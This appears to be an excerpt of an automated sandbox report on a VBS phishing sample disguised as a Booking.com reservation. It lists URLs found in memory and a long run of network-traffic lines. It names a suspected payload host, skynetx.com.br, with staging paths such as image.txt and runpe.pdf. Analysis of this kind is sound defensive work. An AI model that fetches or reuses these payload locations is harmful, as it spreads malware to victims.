Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000005.00000003.2683756321.0000021106372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0/go
Source: qmgr.db.5.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000003.00000002.3551479736.0000016A74419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3551479736.0000016A742D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.2726783475.0000016A6448D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.2726783475.0000016A64261000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2525569057.000002A1630E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2545216517.0000025DC62D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2685245996.0000018786621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2848842485.000001ED13D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65C8C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65BF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65833000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65CA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65943000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://skynetx.com.br
Source: powershell.exe, 00000003.00000002.2726783475.0000016A6448D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000E.00000002.3800900835.000002A17B49F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coyS
Source: chromecache_227.6.dr	String found in binary or memory: http://www.quirksmode.org/js/cookies.html
Source: chromecache_227.6.dr	String found in binary or memory: https://account.booking.com/_/fvtrpw.gif
Source: wscript.exe, 00000000.00000003.3956310266.00000220910D4000.00000004.00000020.00020000.00000000.sdmp, Reservation Detail Booking.com ID4336.vbs	String found in binary or memory: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml
Source: powershell.exe, 00000003.00000002.2726783475.0000016A64261000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2525569057.000002A1630E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2545216517.0000025DC62D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2685245996.0000018786621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2848842485.000001ED13D31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: chromecache_220.6.dr, chromecache_185.6.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_227.6.dr	String found in binary or memory: https://cdn.cookielaw.org/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/OtAutoBlock.js
Source: chromecache_195.6.dr, chromecache_179.6.dr	String found in binary or memory: https://cdn.cookielaw.org/scripttemplates/otSDKStub.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/133_878a17a1dd9684883a3d.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/54_97d049b4c4a1c2f7cfdb.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/57_cdf5aee7e46d7f904246.css
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/624_96ca1b056e9464729f28.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/629_a83b0423500bf7bdde4f.css
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/629_b3ab60a933ee60003b06.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/704_9a0ec8d2f80e7d346616.css
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/704_e7ede50c1fdac354671b.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/709_bad9882915aa6a1c2b70.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/709_c32002792e35c69191e8.css
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/987_175b3de059909b49ef78.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/991_e4e85086dbd38ceb248f.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/index_ddf778f4f644e59e0e78.js
Source: chromecache_227.6.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/runtime~index_a9240719fc64a8f3ef82.js
Source: chromecache_201.6.dr, chromecache_209.6.dr	String found in binary or memory: https://collector-a.perimeterx.net/api/v2/collector/clientError?r=
Source: powershell.exe, 00000003.00000002.3551479736.0000016A742D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.3551479736.0000016A742D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.3551479736.0000016A742D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: chromecache_227.6.dr	String found in binary or memory: https://d8c14d4960ca.edge.sdk.awswaf.com/d8c14d4960ca/c2181391033f/challenge.js
Source: svchost.exe, 00000005.00000003.2061296917.00000211063E3000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000005.00000003.2061296917.0000021106370000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000003.00000002.2726783475.0000016A6448D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.2726783475.0000016A653B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.3551479736.0000016A74419000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3551479736.0000016A742D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: chromecache_226.6.dr	String found in binary or memory: https://play.google.com
Source: chromecache_178.6.dr	String found in binary or memory: https://q.bstatic.com/libs/calango/0.500/bui.css
Source: chromecache_227.6.dr	String found in binary or memory: https://r.bstatic.com/libs/asec/btmgmt/px.v7.5.3.min.js
Source: chromecache_178.6.dr	String found in binary or memory: https://r.bstatic.com/libs/bui/7.3.1/bui.min.css
Source: chromecache_227.6.dr	String found in binary or memory: https://saa.booking.com/analytics.js?ca=accountsportal
Source: powershell.exe, 00000003.00000002.2726783475.0000016A653B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65CA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A659F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A659D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br
Source: powershell.exe, 00000003.00000002.3713678801.0000016A7C8A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/liP
Source: powershell.exe, 00000003.00000002.3713678801.0000016A7C8A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/liPowerShellGet
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A659D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1Execute.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A659F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1Framework.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1invoke.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1load.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1method.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1msg.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65A85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1runpe.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1tronbat.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1tronps1.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A659BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2726783475.0000016A65CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1tronvbs.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1type.pdf
Source: powershell.exe, 00000003.00000002.2726783475.0000016A65882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skynetx.com.br/license/2/1xx.pdf
Source: powershell.exe, 00000003.00000002.2697869119.0000016A625B5000.00000004.00000020.00020000.00000000.sdmp, Reservation Detail Booking.com ID4336.vbs	String found in binary or memory: https://skynetx.com.br/license/2/image.txt
Source: chromecache_185.6.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: chromecache_220.6.dr, chromecache_185.6.dr	String found in binary or memory: https://tagassistant.google.com/
Source: chromecache_227.6.dr	String found in binary or memory: https://www.booking.com/_etnht
Source: chromecache_227.6.dr	String found in binary or memory: https://www.bstatic.com/libs/privacy-consent/1.0.0/partner/cookie-banner.min.js
Source: chromecache_227.6.dr, chromecache_226.6.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_220.6.dr, chromecache_185.6.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_220.6.dr, chromecache_185.6.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_220.6.dr, chromecache_185.6.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_220.6.dr, chromecache_185.6.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_226.6.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js
Source: chromecache_220.6.dr, chromecache_185.6.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_227.6.dr	String found in binary or memory: https://xx.bstatic.com/static/img/favicon.ico
Source: chromecache_227.6.dr	String found in binary or memory: https://xx.bstatic.com/static/img/favicon.svg

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50738
Source: unknown	Network traffic detected: HTTP traffic on port 50726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50730
Source: unknown	Network traffic detected: HTTP traffic on port 50693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50745
Source: unknown	Network traffic detected: HTTP traffic on port 50853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50747
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50749
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50740
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50741
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 50738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50754
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50759
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50758
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50752
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50768
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50762
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50761
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50763
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 50795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 51192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 51077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50701
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50704
Source: unknown	Network traffic detected: HTTP traffic on port 50931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50705
Source: unknown	Network traffic detected: HTTP traffic on port 51065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50708
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50710
Source: unknown	Network traffic detected: HTTP traffic on port 51033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50717
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50716
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50719
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50718
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 50865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50721
Source: unknown	Network traffic detected: HTTP traffic on port 51225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50727
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50720
Source: unknown	Network traffic detected: HTTP traffic on port 51021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50337
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
